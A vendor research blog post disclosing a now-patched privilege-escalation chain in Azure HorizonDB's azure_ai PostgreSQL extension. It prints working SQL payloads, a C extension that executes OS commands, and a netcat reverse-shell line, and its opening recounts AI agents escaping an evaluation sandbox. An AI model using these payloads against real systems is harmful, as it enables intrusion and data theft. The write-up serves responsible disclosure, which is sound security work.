Upwind

Research

Beyond_the_Horizon_Part_1
deep-dive.svg

Beyond the Horizon: Breaking Azure’s DBaaS from the Inside

December 3, 2026

Contents

Book a Demo

In July 2026, OpenAI’s AI agents escaped their evaluation sandbox, found a zero-day in Artifactory, reached the open internet, and breached Hugging Face’s infrastructure – all autonomously, in a matter of days. The incident raised an uncomfortable question: what happens when AI agents are given access to real infrastructure?

We asked a narrower version of that question. Azure HorizonDB is Microsoft’s newest AI-ready managed database, with built-in AI functions that let you call language models directly from SQL. It’s designed for exactly this use case – an AI agent that can read, write, and reason over your data. 

But what if that same AI integration opens a path beyond the database? Could an agent escape the database layer entirely and reach the underlying operating system?

It turns out, yes. In this two-part series, we walk through the research we conducted on Azure HorizonDB, where we discovered a chain of vulnerabilities that escalates a standard customer admin to full OS code execution on the database container – crossing four security boundaries along the way: customer admin → platform superuser → arbitrary file I/O → OS code execution as the azuredb service account.

image-41

In Part 2, we’ll cover what happens after the shell – mapping the internal network, moving laterally into the sidecar container, and testing whether Microsoft’s cross-tenant isolation holds up.

This research was presented at BSidesTLV 2026 Bug Bounty Village.

What is Azure HorizonDB?

Azure HorizonDB is Microsoft’s newest fully managed database service – a cloud-native, AI-ready DBaaS built on the PostgreSQL engine, currently in Preview. Under the hood, it uses a disaggregated compute-and-storage architecture: compute is stateless and independently scalable, while a separate storage fleet uses a database-as-a-log design.

image-44
Source: Microsoft Tech Community

The AI Playground

What makes HorizonDB stand out is the deep AI integration baked into the platform. Microsoft is positioning it as the database where you build AI applications without ever leaving SQL:

  • AI functions in SQL – Call Azure OpenAI models, generate embeddings, and run inference directly from SQL queries using the azure_ai extension.
  • Durable AI pipelines – Declarative, fault-tolerant pipelines that continuously process data through AI models, with built-in scheduling and checkpointing.
  • AI agents & Foundry integration – Build AI agents that interact with the database as a tool, integrated with Azure AI Foundry for model orchestration.

On the extensions side, HorizonDB supports a wide range of PostgreSQL extensions:

image-43-1024x477
HorizonDB extension allowlist
  • One in particular catches the eye: azure_ai – a closed-source C extension owned by the platform superuser (azuresu). It provides AI pipeline infrastructure: functions to create, run, monitor, and checkpoint data pipelines that feed Azure’s AI services. 
image-51
Built-in text generation via gpt-5.4 
image-40
LLM-powered structured extraction – parses unstructured text into typed JSON fields directly in SQL.

Target: azure_ai Extension

All azure_ai functions are owned by azuresu – the platform superuser. Several of them are declared as SECURITY DEFINER.

A SECURITY DEFINER function executes with the privileges of the user who created it, not the user who calls it. This allows controlled access to restricted resources through a trusted interface, similar to setuid in Linux.

This means that those functions execute with azuresu’s privileges regardless of who calls them!

image-52
Source: PostgreSQL Documentation explaining SECURITY DEFINER vs SECURITY INVOKER

While setting up our HorizonDB instance, we got an unexpected hint about the platform’s internals – Azure rejected azuresu as an admin username, confirming that a hidden superuser by that name already exists under the hood:

image-42-1024x288
 Azure Portal rejecting ‘azuresu’ as admin name.

The first thing we did was enumerate the attack surface; we enabled all the extensions and ran the following query:

		SELECT p.proname, p.prosecdef, p.proowner::regrole, p.proacl
       FROM pg_proc p
       JOIN pg_namespace n ON p.pronamespace = n.oid
       WHERE n.nspname = 'ai'
       AND p.prosecdef = true
       ORDER BY p.proname;

Every SECURITY DEFINER function in the ai schema had proacl = NULL – no explicit access control. In PostgreSQL, this means default PUBLIC EXECUTE. Any database user can call them.

After executing each function, we observed that several of these functions accept caller-controlled relation names and evaluate them inside the function body. 

This is the classic confused deputy pattern: a privileged function trusts user-supplied input to reference database objects, then accesses those objects with its own elevated privileges.

The most interesting target was ai._stamp_rows_processed:

		ai._stamp_rows_processed(p_run_id bigint, p_count_source text)

This function takes a run_id and a relation name (p_count_source), then executes something like:

		UPDATE ai.pipeline_runs
SET rows_processed = COALESCE((SELECT count(*) FROM "<p_count_source>"), 0) WHERE id = $1

The identifier is properly double-quoted – no SQL injection 🙁

But wait, the attacker controls which relation gets evaluated, and the evaluation happens under azuresu’s identity!

In other words, we control what goes in the FROM clause, and it runs as the superuser.

The challenge is that a SELECT can only contain expressions – no ALTER ROLE, no CREATE EXTENSION, no direct commands. But PostgreSQL has a construct that turns a full query into something a SELECT can reference: a VIEW.

A VIEW is essentially a saved query that PostgreSQL evaluates every time it’s accessed. We pass the view’s name as the relation – and the query inside it executes with azuresu’s privileges.

The Confused Deputy

The attack is straightforward: create a VIEW containing arbitrary SQL expressions, then pass the VIEW name as p_count_source. The C function evaluates the VIEW body in its SPI (Server Programming Interface) context, where GetUserId() returns azuresu.

First, a simple proof of concept to confirm the identity leak:

Running a simple ‘current_user’ returned ‘uriel’ as our regular user:

image-55

Creating a VIEW and using it in the vulnerable _stamp_rows_processed:

-- Create the VIEW with your query
CREATE VIEW public.evil AS
SELECT current_user::text AS cnt;

-- Trigger it through the confused deputy
SELECT ai._stamp_rows_processed(10::bigint, 'evil');

To read back the actual evaluated value rather than just a row count, we used ai._update_checkpoint – which stores the VIEW’s output as a string in ai.pipeline_checkpoints.last_value, confirming the identity was azuresu.

image-49
VIEW’s current_user evaluates to ‘azuresu’ through _stamp_rows_processed

This confirms the core primitive: any SQL expression embedded directly in the VIEW executes under the platform superuser’s identity.

Building the Chain: Confused Deputy → Superuser

Knowing that direct SQL expressions evaluate as azuresu, the next question is: what can we do with that? 

The answer is pg_cron.

pg_cron is an allowlisted extension on HorizonDB. It schedules PostgreSQL jobs that execute on a cron schedule. Critically, cron.schedule() records current_user as the job owner, and pg_cron later connects to the database as that user via localhost.

The idea is simple: embed a cron.schedule() call inside our VIEW. The confused deputy evaluates it as azuresu, so the job registers under azuresu’s identity. When pg_cron fires, it connects to localhost as azuresu and executes whatever we scheduled. To demonstrate the full impact, we created a separate user called testadmin and scheduled:

 ALTER ROLE testadmin SUPERUSER

Once pg_cron fires, our user is elevated to a full PostgreSQL superuser – the same privilege level as azuresu!

The flow to superuser:

Flow to superuser 

After bringing our idea to life, we can see that ‘rolsuper’ is now True!

image-46
Escalating to superuser 

From Superuser to File I/O

Being a PostgreSQL superuser isn’t enough – It seems like Azure applies C-level security hooks that block operations like pg_read_file() and COPY TO/FROM PROGRAM even for superusers, checking specifically for azuresu rather than just rolsuper = true.

image-54
Permission denied even to superuser

However, as we mentioned, pg_cron jobs run as azuresu itself, bypassing these hooks entirely! So we can just use pg_cron again and read any file from the running OS.

Using pg_read_file(‘/etc/passwd’) inside the cron.schedule works, and we got /etc/passwd! :

CREATE VIEW public.evil AS
  SELECT cron.schedule('read_file', '* * * * *',
    $$INSERT INTO public.file_dump (fname, content)
      VALUES ('passwd', pg_read_file('/etc/passwd'))$$
  )::bigint AS cnt;
image-47
/etc/passwd content 

Through pg_cron we confirmed arbitrary file read and write across the container – including, critically, /usr/local/pgsql/lib/postgresql/, the PostgreSQL $libdir where extension shared objects live. 

That will be our path to code execution.

Bring me my Shell!

Reading and writing files is nice, but we want RCE!

With arbitrary file read and write as superuser, the path to code execution is straightforward: PostgreSQL loads extensions as shared objects (.so files) from $libdir. If we can write there, we can craft a malicious C extension, deploy it to the extensions directory, load it via CREATE EXTENSION, and use it to execute OS commands – all through pg_cron running as azuresu.

The C extension is minimal – a single function that calls popen() and returns the output:

#include "postgres.h"
#include "fmgr.h"
#include "utils/builtins.h"
#include <stdio.h>

PG_MODULE_MAGIC;

PG_FUNCTION_INFO_V1(rce_exec);
Datum rce_exec(PG_FUNCTION_ARGS) {
    char *cmd = text_to_cstring(PG_GETARG_TEXT_PP(0));
    FILE *fp = popen(cmd, "r");
    if (!fp) PG_RETURN_TEXT_P(cstring_to_text("popen failed"));
    char result[65536]; size_t total = 0, n;
    while ((n = fread(result + total, 1, sizeof(result) - total - 1, fp)) > 0)
        total += n;
    result[total] = '\0'; pclose(fp);
    PG_RETURN_TEXT_P(cstring_to_text(result));
}

We cross-compile the extension for Linux x86_64 inside a Docker container, since HorizonDB runs on Linux while our development machine is macOS ARM:

docker run --rm --platform linux/amd64 -v "$(pwd):/build" postgres:17 bash -c '
  apt-get update -qq && apt-get install -y -qq gcc postgresql-server-dev-17
  gcc -shared -fPIC -o /build/rce.so /build/rce.c \
    -I$(pg_config --includedir-server)'

Deploying the Extension

With the patched .so ready, deploying it was a matter of writing three files to the right locations – all through pg_cron jobs scheduled via the confused deputy:

  1. Uploaded the compiled .so binary to the database using lo_from_bytea() as a large object, then exported it to $libdir (/usr/local/pgsql/lib/postgresql/rce.so) using lo_export()
  2. Wrote the extension control file (rce.control) and SQL file (rce–1.0.sql) to the extensions directory
  3. Loaded the extension with ‘CREATE EXTENSION rce’

Getting a Shell

With the extension loaded, getting a shell is a single SQL call:

SELECT rce_exec('nc IP 443 -e /bin/bash');
image-48-1024x216
Reverse shell as azuredb

The Complete Chain 

To wrap up, here’s the full attack chain from customer admin to container access:

Good Things Come in Pairs

ai._stamp_rows_processed was not the only vulnerable function. During continued research, we identified another SECURITY DEFINER function with the same confused deputy pattern: ai._update_checkpoint.

Like _stamp_rows_processed, it’s owned by azuresu, declared SECURITY DEFINER, and has proacl = NULL – meaning any database user can call it. We reproduced the full chain end-to-end through this entry point: confused deputy → pg_cron privilege laundering → superuser escalation → RCE. This was reported to MSRC as a separate finding.

Responsible Disclosure

This vulnerability was assigned CVE-2026-85878 by Microsoft, with a score of 9.9 Critical — the highest severity tier. The CVSS vector (AV:N/AC:L/PR:L/UI:N/S:C) reflects the nature of the attack: network-accessible, low complexity, requires only low privileges (a standard database admin), no user interaction needed, and the scope is Changed — meaning the exploit crosses a security boundary, from customer admin to the underlying platform. 

Microsoft has since fully mitigated the vulnerability server-side with no customer action required. The finding was independently discovered by another researcher, so while we received CVE acknowledgment, the bounty was awarded to the original reporter.

Timeline

2026-08-18 Initial discovery of SECURITY DEFINER functions in azure_ai
2026-08-19 Full exploit chain
2026-08-19 First report submitted to MSRC 
2026-08-27 Second report submitted to MSRC 
2026-09-04 CVE-2026-85878 assigned by MSRC
2026-09-17 CVE published with a fix 

What’s Next

With a shell on the database container, the real exploration begins. In Part 2, we’ll map the internal network, move laterally into the VmAgent sidecar container via a .NET diagnostic socket, and confirm that the cross-tenant isolation boundary remains intact.

Demo the Upwind Platform

See how Upwind is reducing risk and strengthening cloud security for global enterprises.
Get a Demo
Contents
Get a personalized demo
In your 30-minute demo, you'll see how Upwind:
virus-shield.svg
Uses runtime context to show which cloud risks are actually exploitable
eye-2.svg
Maps your workloads, APIs and AI agents in one view
check-shield.svg
Detects and responds to live attacks in real time
roku-logo.pngcarvana-logo.pngWaste_Management_logo.pngnu-logo.png
Add the Upwind RSS Feed to Slack
Connect the Upwind RSS Feed to your Slack.
Follow the how-to here.
Threat RSS
Add the Upwind RSS Feed to Slack
Connect the Upwind RSS Feed to your Slack.
Follow the how-to here.
Main RSS